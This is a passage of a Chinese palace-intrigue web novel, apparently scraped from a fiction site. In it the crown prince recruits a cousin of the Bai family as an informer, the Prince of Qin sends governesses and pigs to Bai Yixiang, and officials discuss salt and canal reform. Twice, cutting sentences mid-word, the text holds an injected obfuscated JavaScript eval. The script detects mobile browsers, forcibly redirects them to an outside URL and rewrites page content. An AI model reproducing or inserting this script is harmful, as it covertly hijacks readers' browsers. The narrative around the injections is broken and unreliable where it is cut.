“殿下,您有所不知!自您离京赈灾,秦王在朔津大获全胜之后,我白家……我白家的风向,就变了!我大伯白敬德,明面上虽是不问政务的太傅,暗地里却与那侍中谢安石过从甚密!而我那堂兄白逸襄,更是借着与温家小姐的婚约,频频与温太史接触!他们……他们是看殿下您如今身处困境,便起了异心,想要改换门庭,投靠秦王啊!” “草民……草民看不过他们这等背主求荣的行径,曾数次与堂兄争辩,劝他莫要忘了殿下的知遇之恩!谁知……谁知他竟恼羞成怒,联合大伯,污蔑我酗酒豪赌,败坏门风,将我毒打一顿,关入了祠堂!” 赵钰眼珠飞速动了动,对方的话信息量太大,他需要消化一下。白岳枫见此情形,连忙从袖口中拿出一叠书信递给赵钰,“殿下,这些书信皆是白逸襄写给我大伯的,我来的匆忙,没有细看,但我之前从管家白福口中曾探听到一二,这其中涉及到很多机密,包括秦王赵玄和楚王赵奕,都有相关内容,殿下您可细细看来,是否有对您不利的内容。” 赵钰大惊,连忙接过书信,挨个翻看起来。 白岳枫则继续道:“殿下,草民变卖了身上所有值钱之物,又偷了家中几件玩物,才凑足了钱,买通了陛下的守卫,前来见您的!草民只为告诉殿下一句话——白家上下,虽人心思变,可我白岳枫,对殿下,永远忠心不二!纵是粉身碎骨,也绝无二心!” 迅速阅览完信笺,赵钰神色深沉,这些信笺都是据实相报的家书,并无什么过分内容。 赵玄的功绩确实是实打实的,白逸襄对其夸赞也无可厚非,只是……白逸襄与白敬德提及楚王赵奕曾多次大礼相赠,偷偷派人拉拢,赵奕又曾在背后抹黑于自己,再结合此次朝堂上之全力攻讦,狼子之心昭然若揭。 赵钰冷哼一声,若是日后他东山再起,必要首先拿赵奕开刀,方解心头之恨! 赵钰看着跪在地上、狼狈不堪却眼神决绝的白岳枫,恰逢此时众叛亲离、百无聊赖之际,有人前来投诚,不论真假,他心中的烦闷也消解了几分。 他将书信还给白岳枫,昂起头,背起手,居高临下地审视着他,嘴角噙着一丝莫测的笑意:“这么说,如今的白府,竟只剩下你一个忠臣了?” “殿下……确实如此啊!”白岳枫继续哭道。 “起来吧。”赵钰伸手虚扶了一下,“孤如今的境况,你也看到了,亦是捉襟见肘,拿不出什么赏你。不过……” 他从腰间解下一块雕着蟠龙纹的羊脂玉佩,塞到了白岳枫手中。 “此乃孤的私人物品,见此玉佩,如见孤亲临。日后你若有要事告知,可凭此物,命东宫侍卫通传。” 他凑近白岳枫,声音压得极低:“孤眼下刚好需要一双眼睛……你以后就替孤盯着白逸襄。你回府之后,不必再与他们硬抗,只需虚与委蛇,将那白逸襄的一举一动,事无巨细,都报与孤知。他见了何人,说了何话,看了何书,孤都要知道!” “待孤度过此劫,重掌大权之日,自然少不了你的好处!” 白岳枫闻言,一阵狂喜。他再次跪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874729|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒在地,重重叩首,声音因激动而嘶哑: “草民……为殿下赴汤蹈火,万死不辞!愿为殿下之鹰犬,至死方休!” “好!”赵钰满意的点点头,然后挥了挥手,“行了,你先下去吧,你我皆是禁足期间,我不好久留你。” “遵命,殿下!谢殿下!” 白岳枫千恩万谢地退下,偏殿之内,再次恢复了死寂。 赵钰脸上的笑容散去,发出一声冷哼。 他缓步走回棋盘边,随手拈起一枚黑子,在指间缓缓转动。 秦王…… 赵钰再次想起朝堂之上白逸襄与赵玄的一唱一和,之前他还以为是白逸襄说服赵玄帮自己脱罪,现在看来,应是没那么简单。 这让他有些糊涂。 赵玄若是真想争储,此次就应该学学赵辰和赵奕,想尽办法攻讦他,让陛下废储。可赵玄却不惜撒谎保住了他。 可要说他们兄弟情深,赵玄是为了保全他故意扯谎,那他也是万万不信的。 自己贵为嫡长子,刚出生便被立为太子,可以说是恩宠无量,与那母妃早去,从小受尽冷遇的赵玄压根没有什么交集,更别提半分情谊了。 甚至于,若不是几年前赵玄突然建立了军功,朝野扬名,他差点忘了自己还有个二弟。 所以赵玄此番在朝堂上的操作,他属实有点看不懂。 但再一细想,这次黄河治理之案,最大的赢家,便是赵玄。 想那赵玄没有赵辰的勇猛、军功显赫、手握重兵。也不及赵奕的文采,诗词歌赋流传甚广,能获得天下名士支持。 赵玄在朝中毫无根基,仅仅凭借此次功勋便获得监国重任,他何德何能? 莫非他真的得到了白逸襄的支持? 如果真是这样,那个白岳枫会不会也是白逸襄或是赵玄派来试探他的? 思来想去,赵钰手中的棋子终究也没落下,而是丢回了棋奁之中。 不行,不能轻易相信那个白岳枫。 他要主动出击才行。 * 接下来的几日,白岳枫像是换了个人。 他不再酗酒闹事,而是每日待在书房,或是捧着一卷书,或是临摹着字帖,一副幡然悔悟的模样。他见到白敬德,恭敬行礼,言辞恳切地承认自己的过错;他见到族中长辈,更是谦卑有礼,嘘寒问暖。 他对白逸襄,也不再冷嘲热讽,反而时常备上一些自己“抄录”的诗文,或是“偶得”的棋局,谦恭地来到白逸襄的书房,“请教”一二。 白逸襄自然不吝赐教,并且会有意无意的透露给他一些“重要”信息,好让他可以传递给东宫。 他不知该说这位堂弟胆大还是无知,竟然拿古玩字画去贿赂禁军守卫。 那些武夫大多不懂这些风雅之物,就算去行贿,也应该换成铢钱才对。 也算他运气够好,碰到了懂得欣赏的侍卫。不然他恐怕既赔了宝贝,又要被抓入大牢,还可能会牵连到白家。 几日的观察,他也确信了白岳枫将自己的一举一动都写信密告太子,所以白岳枫在太子面前到底说了些什么,他也能猜出一二。 白逸襄本想把此事告诉父亲,再家法伺候堂弟一次,可转念一想,太子生性多疑,必然不会轻易相信白岳枫的一面之词,便陪着白岳枫演戏。 他也很好奇,接下来会有什么样的好戏可看。 可他却怎么也没料到,自己竟成了那出“好戏”。 39.第 39 章 夜已三更,秦王府书房内依旧灯火通明。 赵玄放下手中的狼毫笔,靠着凭几,长长地舒了口气。 “影十三。”他揉着眉心,下意识地唤了一声。 一道黑影悄然地从房梁的阴影处落下,单膝跪地。 “主人,影十三不在。” 来人同样是一身黑色劲装,黑布裹面。 “你是?” “鸩羽。” “哦……” 赵玄这才想起影十三被他派去监视白逸襄了。 赵玄抬眼瞥了他一下,这人与影十三相比,身材略矮小,声音也更为年轻,倒是容易分辨,他语气随意地问道:“知渊先生……近日可好?” 鸩羽垂着头,一板一眼地禀报,“知渊先生一切安好。” “无事发生?” “有,三日前,太子府送了两位美婢过去,说是给知渊先生解闷的。” 赵玄端茶的动作停住了,他微微蹙起眉头:“太子送的人?这事,怎么不早些报过来?” 他的语气并没有加重,但那份不悦却清晰可辨。 鸩羽却仿佛毫无所觉,依旧用他那毫无波澜的语调解释道:“依属下判断,此为后宅琐事,未达‘要事’之标准。主人曾有令,非军国要务,不得扰您清思。” 赵玄被他这番话噎得一时语塞,这规矩确实是他自己定的。他无奈地叹了口气,耐着性子纠正道:“鸩羽,你记着,以后……关于白逸襄的任何事,都算要事。” “属下遵命。”鸩羽应得干脆,随即又抬起头,认真地请示道:“主人,‘任何事’的范畴,是否包含知渊先生的起居饮食、四时更衣?” “……” 赵玄看着鸩羽露在外面的三白眼,太阳穴竟然突突地跳了两下。影十三只是有些古板,这家伙却只有一根筋! 他深吸一口气,尽量让自己的指令清晰明确,不给对方留下任何钻牛角尖的余地:“寻常事,三日一报。若有紧急要务,即刻来报。” “属下明白。”鸩羽点了点头,随即又抛出了一个问题:“那太子赐美婢一事,按主人的新章程,算‘寻常事’,还是‘紧急要务’?” 跟这人说话,怎么比批阅奏疏还累? 他抿了抿嘴,“算寻常。” “既是寻常,”鸩羽的逻辑链条完美闭合,“今日,恰是第三日。属下并未逾期。” “嗯……”赵玄不想再与他分辨,“说吧,那两个侍女如何了?” “知渊先生似乎颇为苦恼。” “为何?” “属下不知知渊先生为何苦恼,只是昨日,那两位侍女已被知渊先生悉数派去了白府后院,专职养猪。所以属下推断,知渊先生应该并不满意那两位美婢的服侍。” “养……猪?” 赵玄先是一怔,随即,朗声笑了起来,瞬间驱散了满室的沉闷。 赵玄几乎能想象出白逸襄那副清冷孤傲的君子模样,被两个娇滴滴的美人烦得没法,最后只能把人赶去猪圈的场景。 赵玄突然心情大好,摆了摆手,“知道了,你退下吧。” “喏。”黑影一闪,鸩羽消失不见。 赵玄扬声唤道:“林放。” 侍从林放快步入内,躬身道:“殿下。” “去,挑两个最懂规矩的傅姆,再把高昌部进贡的那两头乌金香彘也带上,一并给白府送去。” 林放微讶:“殿下,这是?” “你就说,”赵玄眼中闪着促狭的光,“本王听闻知渊先生雅兴,在府里辟了豕苑,特赏两头珍品去为他助兴。至于那两位傅姆么……就让她们去帮知渊先生分分忧,教教他府里的新婢,什么叫真正的‘规矩’。” 林放虽仍是搞不懂赵玄的用意,却不再问,连忙应下:“属下明白,属下这就去办!” 待林放退下,赵玄重新执起笔,只觉神清气爽,下笔如有神助。 * 秋日午后,天高云淡。侍中谢安石府上的马车,轻车简从地穿过几条街巷,最终稳稳停在了太傅白府的门前。 早已得了通报的白敬德,此刻正与长子白逸襄一同立于府门正阶之上,含笑相迎。 “安石兄,今日怎得有闲暇过我这陋府一行?”白敬德朗声笑道,上前执起谢安石的手,言语间满是老友相见的熟稔与亲厚。 “你我两府相隔不过一坊之地,何谈‘一行’?” 谢安石亦是满面春风,回握住白敬德的手,目光随即便落在了白逸襄身上,细细打量了一番,抚须笑道:“倒是逸襄贤侄,自青州归来,气色虽仍清减,然风骨不坠。” “伯父挂心了。”白逸襄上前一步,行了一个无可挑剔的晚辈礼,“前番远行归来,未能时常问安,是逸襄失礼了。” 白逸襄今日穿了一身月白色的宽袖长袍,外罩一件鸦青色的半臂,虽尚带着几分病容,然那双凤眼开阖之间,神光内蕴,丝毫不见颓唐之气。 谢安石抚须点头,心中暗赞。近日在朝堂之上虽与白逸襄见过数面,但多是远远一瞥。今日近观,方觉其风姿气度,确非常人可比。 那些市井流言,反而显得并不真实。 三人寒暄数句,白敬德便引着谢安石,沿着抄手游廊,往府内正厅行去。 正行至一处月亮门,将要穿过时,自花园深处的另一侧,却隐隐传来一阵嘈杂之声。起先还只是几句压低了的争执,很快,便有一个妇人尖利的声音拔高了八度,带着几分刻薄的怒气: “……不过是东宫赏下来的贱婢,也敢在我面前摆谱!我乃秦王殿下亲赐的傅姆,奉命教导府中规矩,你算个什么东西,也敢质疑我的章程!” 紧接着,另一个娇俏却不甘示弱的声音回敬道:“李傅姆此言差矣!奴婢虽出身卑微,却是太子殿下亲赐,代表的是东宫的体面!您定的那伙食,连寻常府邸的粗使婆子都不如,这若是传了出去,岂不是说我白府苛待下人,连带着让东宫也失了颜面?” “放肆!你这是在拿太子殿下压我?” “奴婢不敢,奴婢只是就事论事……” 听着那愈演愈烈的争吵,谢安石的脚步微微一顿。白敬德与白逸襄二人,脸上同时浮现出窘迫之色。 白敬德连忙干咳一声,对着身后紧随的管家白福沉声道:“后院喧哗,成何体统!白福,你去处置一下!” “是,老爷。”白福躬身领命,快步朝着争吵的方向而去。 白敬德脸上恢复了热络的笑容,引着谢安石穿过月亮门,“不过是些下人间的口舌之争,无伤大雅,我们去正厅叙话。” 谢安石自是通达之人,闻言只笑了笑,便不再多问,随二人步入正厅。 …… 厅中一番清谈,宾主尽欢。 待到晚膳时分,白敬德特意命人将宴席设在了内堂一处名为“听松涛”的暖阁之中。此处陈设清雅,隔绝外人,最是适合密谈。 三人于榻上落座,待侍女奉上酒菜后,白敬德便挥手屏退了左右。 酒过三巡,话题也由文坛逸事,渐渐转入了如今朝堂之上那波诡云谲的局势。 “郭亮一案,虽已尘埃落定,然其在青州盘踞多年,党羽遍地,根深蒂固。”谢安石呷了一口温热的屠苏酒,目光深邃,“如今太子受制,秦王监国,正是拔除此獠余孽,将青州财富与兵权,重新收归朝廷的绝佳时机。只是,此事牵一发而动全身,不知敬德兄有何高见?” 白敬德沉吟半晌,抚须道:“青州世家,以太原王氏为首,彼此联姻,互为犄角。秦王殿下在朔津虽以雷霆手段立威,但若想进一步清算,恐激起反弹,于朝局不利。此事,还需缓图。” “缓图?”谢安石摇了摇头,叹道,“敬德兄,你我皆知,对付这些地方豪强,缓图便是无计可图。今日不除,他日必成心腹大患。只是……强行拔除,又恐动摇国本,秦王殿下如今监国,亦是如履薄冰啊。” 暖阁内一时陷入了沉默,只余下炭火偶尔爆开的轻微“噼啪”声。 谢安石微眯的眼睛瞟向了白逸襄,笑道:“逸襄贤侄,你也说说?” 白逸襄这才缓缓放下手中的玉箸,轻声道:“逸襄以为,治水之道,堵不如疏。” 谢安石与白敬德同时将目光投向他。 白逸襄迎着两位长辈的目光,脸上带着一贯的浅笑,继续道:“青州世家之势,如黄河之水,其根深蒂固,非一日之寒。强行围堵,只会令其冲决堤坝,泛滥成灾。若想釜底抽薪,何不另辟新渠,引其水势东流?” “另辟新渠?”谢安石的眉头微微蹙起,似在咀嚼其中深意,“此作何解?” 白逸襄并未直接点破,只无意地感慨道:“逸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882268|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 襄在青州时,曾听闻一桩怪事。青州之地,明明临近产盐大池,百姓所食之盐,却价高如金,怨声载道。而广济运河之上,漕运之利,本该充盈国库,如今却多为私家船帮所侵占,朝廷所得,不过十之一二。此二事,皆是国之沉疴,却无人敢动。” 盐……漕运…… 谢安石略作思考,眼中陡然迸发出一道精光! “逸襄贤侄的意思是,我们不必去动那些世家赖以为生的田庄和部曲,那是在与他们拼死相搏。” 谢安石站起身,在暖阁中来回踱步,继续道:“我们只需将这‘盐引’与‘漕运’之利,从他们手中撬开一角!由朝廷出面,重订规矩,允新商入局,允寒门参与!如此一来,便是在他们固若金汤的旧田地上,开辟出了一片新的、利益更为丰厚的战场!他们为争夺这新的财路,必然会内斗不休,彼此攻伐,哪里还有精力抱团与朝廷作对?届时,旧的联盟不攻自破,新的秩序,便可在他们的争斗中,由我们亲手建立!” “釜底抽薪,抽的不是他们的田,而是他们抱团的根!引水东流,引的不是河水,而是他们的贪欲!” 白敬德听着挚友将儿子的深意剖析得淋漓尽致,脸上是掩不住的自豪与欣慰,他举起酒杯,对着谢安石遥遥一敬:“安石兄,高见。” 谢安石并不贪功,他再次入座,拍拍白敬德的手,笑道:“不愧是白家郎君,不愧是麒麟儿啊!” 白敬德听了哈哈大笑,嘴上却道:“哪里哪里,吾儿不过浅见,是安石兄想的周到。” 一旁的白逸襄只是含笑不语,拱手轻施一礼。 正在此激昂氛围达到顶点之时,暖阁的门,被“砰”的一声,从外面粗暴地撞开了。 只见白福脸上满是惊慌之色,连头上的纶巾都跑歪了,他甚至忘了行礼,指着后院的方向,结结巴巴地嚷道: “老爷、郎君!不、不好了!” “何事如此惊慌!”白敬德已是沉下脸来,厉声喝道。 白福喘着粗气,终于将一句完整的话说了出来:“红玉姑娘和李傅姆打起来了!” “……” 暖阁之内,一片寂静。 谢安石捻着胡须的手停在半空,脸上是恰到好处的惊讶。白敬德则是险些被自己的口水呛到,咳嗽不止。 白逸襄连忙放下茶盏,对着谢安石和父亲挤出笑容:“伯父,父亲,你们……先聊着,我……去去就回。” 说罢,他迅速提起衣摆,跑到门口,对白福道:“带路!” …… 待二人走出几步,白逸襄才问道:“为什么打起来了?” 白福边走边道:“李傅姆说,那香彘乃秦王殿下亲赐,身份尊贵,当以精米细糠,辅以牛乳、蛋清喂养,方能养出膘肥体壮之态,不堕了秦王府的威名!” “可红玉姑娘说,如今青州尚有灾民食不果腹,府中却如此奢靡,用人吃的精粮去喂猪,此乃为富不仁,有违圣人教诲,更是……更是陷太子殿下于不义!” 白逸襄道:“红玉说的倒是有理……” 白福道:“要是真有那么简单就好了,那红玉平日里可是奢靡的很呢,今日这番言论,那也是故意说给李傅姆听的。” 白逸襄道:“也是……” 他自是见识过那红玉姑娘的本事,日常奢靡倒也罢了,竟然半夜爬上他的床,把他吓了个半死。 若非她如此过分,他也不会将太子亲赐的美女派去养猪。 “然后呢?”白逸襄的声音里已经带上了一丝无力之感。 “然后……然后两人便争执起来,李傅姆骂红玉姑娘是‘没见过世面的贱婢’,红玉姑娘骂李傅姆是‘巴结权贵的佞幸’……再然后,两人就……就为了抢一盆给猪准备的牛乳,撕扯在了一起!后院的侍女婆子们拉都拉不开啊!” “……” 走到后院月亮门处,内里争吵的声音仍然不减,白逸襄突然停了下来,接着转身就跑。 白福一愣,“郎君,你、你这是……” 白逸襄边跑边道:“我还有公务处理,这等小事,还是福伯你来处理吧!” “郎君,我这……” “福伯,你可以的!” 白逸襄身体从未如此矫健,只一眨眼的功夫,便消失在花园尽头。 只留福伯一人在原地呆立。